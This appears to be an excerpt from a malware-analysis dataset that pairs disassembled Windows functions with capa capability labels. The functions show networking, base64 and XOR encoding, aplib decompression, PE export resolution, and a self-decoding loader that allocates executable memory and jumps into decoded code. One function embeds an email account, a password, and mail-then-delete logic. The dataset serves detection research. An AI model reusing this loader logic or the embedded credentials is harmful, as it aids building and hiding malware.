joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46a571
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov edi, edi
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x110
push ebx
push esi
mov esi, eax
mov eax, dword [esi + 0x1d8]
xor ebx, ebx
push edi
cmp eax, ebx
je 0x46a59e
push ecx
push eax
call fcn.0046a0e7
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret
mov eax, dword [ecx + 8]
mov dword [ebp + 0x6c], eax
mov dword [ebp + 0x70], ebx
cmp dword [esi + 0x148], ebx
jne 0x46a5c4
mov dword [ebp + 0x74], 0x19a
push 0x49ab24
lea eax, [ebp + 0x74]
push eax
call sub.MSVCR90.dll__CxxThrowException
mov eax, dword [esi + 0x14c]
lea ecx, [ebp + 0x6c]
push ecx
push ebx
push ebx
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x94], eax
push ecx
inc eax
push eax
mov dword [ebp - 0x98], 1
call dword [sym.imp.WS2_32.dll_select]
mov edi, eax
cmp edi, 0xffffffff
jne 0x46a646
xor eax, eax
cmp dword [ebp - 0x98], ebx
jbe 0x46a63a
mov esi, dword [esi + 0x14c]
cmp dword [ebp + eax*4 - 0x94], esi
je 0x46a629
inc eax
cmp eax, dword [ebp - 0x98]
jb 0x46a606
jmp 0x46a63a
mov ecx, dword [ebp + eax*4 - 0x90]
mov dword [ebp + eax*4 - 0x94], ecx
inc eax
mov ecx, dword [ebp - 0x98]
dec ecx
cmp eax, ecx
jb 0x46a61a
dec dword [ebp - 0x98]
mov dword [ebp + 0x74], 0x6d
jmp 0x46a5b6
cmp edi, ebx
jne 0x46a69a
xor eax, eax
cmp dword [ebp - 0x98], ebx
jbe 0x46a68e
mov esi, dword [esi + 0x14c]
cmp dword [ebp + eax*4 - 0x94], esi
je 0x46a67d
inc eax
cmp eax, dword [ebp - 0x98]
jb 0x46a65a
jmp 0x46a68e
mov ecx, dword [ebp + eax*4 - 0x90]
mov dword [ebp + eax*4 - 0x94], ecx
inc eax
mov ecx, dword [ebp - 0x98]
dec ecx
cmp eax, ecx
jb 0x46a66e
dec dword [ebp - 0x98]
mov dword [ebp + 0x74], 0x192
jmp 0x46a5b6
lea eax, [ebp - 0x98]
push eax
push dword [esi + 0x14c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x46a71f
push ebx
push 0x2800
push dword [esi + 0x148]
push dword [esi + 0x14c]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xffffffff
jne 0x46a71f
xor eax, eax
cmp dword [ebp - 0x98], ebx
jbe 0x46a713
mov esi, dword [esi + 0x14c]
cmp dword [ebp + eax*4 - 0x94], esi
je 0x46a702
inc eax
cmp eax, dword [ebp - 0x98]
jb 0x46a6df
jmp 0x46a713
mov ecx, dword [ebp + eax*4 - 0x90]
mov dword [ebp + eax*4 - 0x94], ecx
inc eax
mov ecx, dword [ebp - 0x98]
dec ecx
cmp eax, ecx
jb 0x46a6f3
dec dword [ebp - 0x98]
mov dword [ebp + 0x74], 0x67
jmp 0x46a5b6
xor eax, eax
cmp dword [ebp - 0x98], ebx
jbe 0x46a763
mov ecx, dword [esi + 0x14c]
cmp dword [ebp + eax*4 - 0x94], ecx
je 0x46a752
inc eax
cmp eax, dword [ebp - 0x98]
jb 0x46a72f
jmp 0x46a763
mov ecx, dword [ebp + eax*4 - 0x90]
mov dword [ebp + eax*4 - 0x94], ecx
inc eax
mov ecx, dword [ebp - 0x98]
dec ecx
cmp eax, ecx
jb 0x46a743
dec dword [ebp - 0x98]
mov eax, dword [esi + 0x148]
mov byte [edi + eax], bl
cmp edi, ebx
jne 0x46a596
mov dword [ebp + 0x74], 0x190
jmp 0x46a5b6
Function at 0x46d917
Capabilities:
Encode data using base64

Disassembly:
push 0x10
mov eax, 0x470162
call fcn.0046fba3
mov edi, edx
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], 1
cmp dword [ebp + 8], esi
je 0x46da58
mov al, byte [edi]
dec dword [ebp + 8]
mov byte [ebp + esi - 0x10], al
mov bl, byte [ebp - 0xf]
inc esi
inc edi
cmp esi, 3
jne 0x46d9b9
mov al, byte [ebp - 0x10]
shr al, 2
mov byte [ebp - 0x14], al
mov al, byte [ebp - 0x10]
and al, 3
shl al, 4
mov cl, bl
shr cl, 4
add al, cl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0x13], al
mov al, bl
and al, 0xf
shl al, 2
shr cl, 6
add al, cl
mov byte [ebp - 0x12], al
mov al, byte [ebp - 0xe]
and al, 0x3f
mov byte [ebp - 0x11], al
xor esi, esi
movzx eax, byte [ebp + esi - 0x14]
push eax
mov ecx, 0x4b3b68
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_const]
movzx eax, byte [eax]
mov ecx, dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
inc esi
cmp esi, 4
jl 0x46d993
xor esi, esi
cmp dword [ebp + 8], 0
jne 0x46d949
xor edi, edi
cmp esi, edi
je 0x46da58
cmp esi, 3
jge 0x46d9e5
push 3
pop ecx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x10]
push edi
push eax
call sub.MSVCR90.dll_memset
mov bl, byte [ebp - 0xf]
add esp, 0xc
mov al, byte [ebp - 0x10]
mov cl, al
shr cl, 2
mov byte [ebp - 0x14], cl
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0xe]
and bl, 0xf
mov cl, al
shl bl, 2
shr cl, 6
add bl, cl
mov byte [ebp - 0x12], bl
and al, 0x3f
lea ebx, [esi + 1]
mov byte [ebp - 0x11], al
test ebx, ebx
jle 0x46da41
movzx eax, byte [ebp + edi - 0x14]
push eax
mov ecx, 0x4b3b68
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_const]
movzx eax, byte [eax]
mov ecx, dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
inc edi
cmp edi, ebx
jl 0x46da1e
push 3
pop edi
cmp esi, edi
jge 0x46da58
sub edi, esi
mov ecx, dword [ebp - 0x18]
push 0x3d
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_]
dec edi
jne 0x46da4a
mov eax, dword [ebp - 0x18]
call fcn.0046fc7b
ret
Function at 0x46dc25
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push esi
push edi
xor edi, edi
mov esi, ecx
cmp dword [0x4b3b64], edi
jne 0x46dc4d
push edi
push dword [0x4b4c00]
push str.Please_upgrade_to_Pro_version_for_getting_the_converter.
push edi
call dword [sym.imp.BCGCBPRO120090.dll_int___cdecl_BCGPMessageBox_struct_HWND_____char_const___char_const___unsigned_int_]
add esp, 0x10
jmp 0x46dc62
push 1
push edi
push edi
push str.http:__freevideoconverter.us_
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetParent]
push eax
call sub.mfc90.dll_Ordinal_2592
push edi
push dword [0x4b3b08]
push 0x465
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
xor eax, eax
pop esi
ret
Function at 0x46f43f
Capabilities:
Get common file path
Read file on windows

Disassembly:
mov edi, edi
push ebp
lea ebp, [esp - 0x208]
sub esp, 0x288
mov eax, dword [0x4a2018]
xor eax, ebp
mov dword [ebp + 0x204], eax
mov eax, dword [ebp + 0x210]
push ebx
push esi
push edi
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x7c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
test eax, eax
jne 0x46f4a9
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 0x7c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea edi, [ebp - 4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x46f497
mov esi, str.Microsoft_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x46f4b0
mov dword [ebp - 4], 0x5c3a43
xor eax, eax
mov cl, byte [ebp + eax - 4]
mov byte [ebp + eax + 0x100], cl
inc eax
test cl, cl
jne 0x46f4b2
mov eax, dword [ebp - 0x80]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x46f4c7
lea edi, [ebp + 0x100]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x46f4d7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp + 0x100]
and ecx, 3
push 0x49583c
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR90.dll_fopen]
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x46f521
push eax
lea eax, [ebp + 0x100]
push eax
call dword [sym.imp.MSVCR90.dll__access]
inc eax
neg eax
sbb eax, eax
jmp 0x46f5a3
push 2
push 0
push ebx
call dword [sym.imp.MSVCR90.dll_fseek]
push ebx
call dword [sym.imp.MSVCR90.dll_ftell]
push ebx
mov esi, eax
call dword [sym.imp.MSVCR90.dll_rewind]
add esp, 0x14
test esi, esi
jne 0x46f54e
push ebx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, esi
jmp 0x46f5a4
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR90.dll_malloc]
push ebx
push esi
mov edi, eax
push 1
push edi
call dword [sym.imp.MSVCR90.dll_fread]
add esp, 0x14
cmp eax, esi
je 0x46f579
push edi
call dword [sym.imp.MSVCR90.dll_free]
pop ecx
or esi, 0xffffffff
jmp 0x46f543
lea eax, [ebp - 0x78]
call fcn.00401000
push edi
lea eax, [ebp - 0x78]
push eax
mov eax, esi
call fcn.00401032
push edi
mov byte [edi + esi], 0
call dword [sym.imp.MSVCR90.dll_atoi]
push edi
mov esi, eax
call dword [sym.imp.MSVCR90.dll_free]
mov eax, esi
pop ecx
pop ecx
mov ecx, dword [ebp + 0x204]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403cb8
add ebp, 0x208
leave
ret
Function at 0x46f5c2
Capabilities:
Get common file path
Write file on windows

Disassembly:
mov edi, edi
push ebp
lea ebp, [esp - 0x218]
sub esp, 0x298
mov eax, dword [0x4a2018]
xor eax, ebp
mov dword [ebp + 0x214], eax
mov eax, dword [ebp + 0x220]
push ebx
push esi
push edi
push eax
mov dword [ebp - 0x80], eax
call fcn.0046f43f
xor ebx, ebx
cmp eax, ebx
pop ecx
jge 0x46f5fd
mov dword [ebp - 0x7c], ebx
jmp 0x46f601
inc eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
test eax, eax
jne 0x46f646
lea eax, [ebp + 0x104]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 0x78]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea edi, [ebp + 0x104]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x46f634
mov esi, str.Microsoft_
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
jmp 0x46f650
mov dword [ebp + 0x104], 0x5c3a43
xor eax, eax
mov cl, byte [ebp + eax + 0x104]
mov byte [ebp + eax], cl
inc eax
cmp cl, bl
jne 0x46f652
mov eax, dword [ebp - 0x80]
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x46f667
lea edi, [ebp]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x46f674
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov byte [ebp + 0x208], bl
lea edi, [ebp + 0x209]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xa
lea eax, [ebp + 0x208]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.MSVCR90.dll__itoa]
lea eax, [ebp + 0x208]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x46f6bb
sub eax, ecx
mov edi, eax
lea eax, [ebp - 0x74]
call fcn.00401000
lea eax, [ebp + 0x208]
push eax
lea eax, [ebp - 0x74]
push eax
mov eax, edi
call fcn.00401032
lea eax, [ebp]
push 0x495838
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
jne 0x46f6fb
xor eax, eax
jmp 0x46f719
push esi
push edi
lea eax, [ebp + 0x208]
push 1
push eax
call dword [sym.imp.MSVCR90.dll_fwrite]
push esi
call dword [sym.imp.MSVCR90.dll_fclose]
xor eax, eax
add esp, 0x14
inc eax
mov ecx, dword [ebp + 0x214]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403cb8
add ebp, 0x218
leave
ret
Function at 0x46f9c5
Capabilities:
Delete file

Disassembly:
push 0x210
mov eax, 0x471877
call fcn.0046fc42
mov ebx, dword [ebp + 8]
and dword [ebp - 4], 0
lea esi, [ebp - 0x1f8]
mov edi, ecx
call fcn.0046b905
mov byte [ebp - 4], 1
call fcn.00469b8b
push str.support_xdownloader.org
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x28], 2
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push str.Goodpass6_
lea ecx, [ebp - 0xf4]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov ecx, esi
call fcn.00469c02
mov ecx, esi
call fcn.00469c16
mov ecx, esi
call fcn.00469c2a
mov ecx, esi
call fcn.00469bee
mov ecx, esi
call fcn.0046b6d9
mov ecx, esi
mov dword [ebp - 0xb8], 3
call fcn.00469bd7
push str.Hello_
mov eax, esi
push eax
call fcn.0046b677
mov esi, 0x4960b7
push esi
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push str.url:
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push ebx
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push esi
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push str.See_attachment.
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push esi
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push str.Regards
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
lea ecx, [ebp - 0x1f8]
call fcn.0046b56d
lea eax, [ebp - 0x1f8]
call fcn.0046b5e9
push str.User
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b677
push edi
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046b740
lea eax, [ebp - 0x1f8]
push eax
call fcn.0046d10f
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0
call fcn.0046b7a2
or dword [ebp - 4], 0xffffffff
push str.Mail_was_send_successfully._n
push dword [sym.imp.MSVCP90.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004023f3
push ebx
call dword [sym.imp.MSVCR90.dll_remove]
add esp, 0xc
xor eax, eax
call fcn.0046fc9e
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4b6008], 0x8088405
inc edx
mov dword [ebx + 0x4b6008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf00
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf19
add dl, dl
jne 0x41cf3c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf8d
xor eax, eax
add dl, dl
jne 0x41cf49
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d02a
add dl, dl
jne 0x41cf58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf79
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf83
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf28
mov eax, 1
add dl, dl
jne 0x41cf9b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf92
sub eax, ebx
mov ebx, 1
jne 0x41cfd9
mov ecx, 1
add dl, dl
jne 0x41cfbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cfca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfb6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cff0
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cffb
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfe7
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d04b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf28
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f04c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x49a53a
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f09b
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
jmp 0x41f0ba
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f12c
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f115
test esi, esi
jbe 0x41f12c
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f107
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f12c
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f0e4
jmp 0x41f12c
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f12c
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49a541
ret
Function at 0x420284
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x49b89f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202bf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202d8
lea eax, [ebp - 0x10]
mov edx, dword [0x4b8348]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202eb
lea eax, [ebp - 0x10]
mov edx, dword [0x4b8348]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x4202f7
adc edx, 0
mov edx, dword [edx*4 + 0x4b7178]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420471
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420464
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420464
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420402
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420402
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420402
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420402
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420464
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420464
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420489
inc ebx
cmp ebx, 0x19
jne 0x4202b1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49b8a6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407571
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407571
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407571
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407571
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407571
mov dword [0x41203c], eax
call fcn.00407571
test eax, eax
jge 0x402550
push 8
call fcn.00407571
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407571
pop ecx
push 1
call fcn.00407571
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407571
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407571
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407571
jmp 0x402495

Function at 0x407571
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x407580
pop dword [ebp - 0x34]
mov eax, 0x407580
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x368a4
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x3d07
xor esi, esi
add esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x34]
mov edx, 0x2f312c45
sub edx, 0xf1fc0590
sub dword [ebp - 0x30], 0x3d0683bd
mov ebx, dword [edi]
xor dword [ebp - 0x2c], esi
add ebx, edx
mov dword [ebp - 0x10], 0xd8831fa6
mov dword [esi], ebx
add esi, 0xbeab9328
sub esi, 0xbeab9324
add edi, 0xfb9fda75
sub edi, 0xfb9fda71
loop 0x4075cb
add eax, 0xe6ef
xor ebx, ebx
add ebx, eax
add eax, 0xcab2bc0
add eax, 0xf354d445
mov ecx, 0x61556700
add ecx, 0x9eea9900
add ecx, dword [ebp - 0x34]
call ebx
leave
ret